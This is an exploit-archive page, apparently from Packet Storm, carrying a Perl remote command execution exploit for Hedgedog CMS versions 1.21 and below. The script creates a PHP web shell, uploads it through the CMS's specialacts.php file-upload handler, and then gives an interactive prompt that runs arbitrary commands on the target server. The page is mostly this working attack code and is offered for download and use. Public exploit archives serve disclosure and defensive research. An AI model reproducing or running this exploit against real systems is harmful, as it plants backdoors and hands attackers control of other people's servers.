what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Hedgedog CMS 1.21 Command Execution

Hedgedog CMS 1.21 Command Execution
Posted Feb 9, 2009
Authored by darkjoker | Site darkjokerside.altervista.org

Hedgedog CMS versions 1.21 and below remote command execution exploit.

tags | exploit, remote
SHA-256 | cc9dc3a4a2d0042f3e75351229949c3ac0a00e1eeba4ea6c396353f7fd044d01

Hedgedog CMS 1.21 Command Execution

Change Mirror Download
--+++===================================================================+++--
--+++====== Hedgedog-CMS <= 1.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

sub usage
{
print
"\nHedgedog-CMS <= 1.21 Remote Command Execution Exploit".
"\n[+] Author : darkjoker".
"\n[+] Site : https://darkjoker.net23.net".
"\n[+] Download : https://mesh.dl.sourceforge.net/sourceforge/hedgehog-cms/hedgehog-cms_v1.21.zip".
"\n[+] Usage : perl ${0} <hostname> <path>".
"\n[+] Ex. : perl ${0} localhost /hedgedogCMS".
"\n\n";
exit ();
}

sub upload_shell
{
my ($host, $path) = @_;
open SHELL, ">shell.php";
print SHELL "<?php system (stripslashes (\$_GET ['cmd'])); ?>";
close SHELL;
my $url = "https://${host}${path}/specialacts.php";
my $lwp = LWP::UserAgent->new;
my $req = $lwp->request (
POST $url,
Content_Type => 'multipart/form-data',
Content => [l_mode => 1, l_file => ["shell.php"]],
);
unlink "shell.php";
return 1 if ($req->is_success);
return 0;
}

my ($host, $path) = @ARGV;
usage unless $path;
print "[-] Exploit failed.\n" unless upload_shell ($host, $path);
my $cmd;
my $url = "https://${host}${path}/user/upload/shell.php";
while (1)
{
print "shell\@${host}: \$ ";
$cmd = <STDIN>;
chomp $cmd;
exit if $cmd =~ /quit/;
my $lwp = LWP::UserAgent->new;
my $req = $lwp->get (
$url . "?cmd=${cmd}",
);
print $req->decoded_content;
}


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close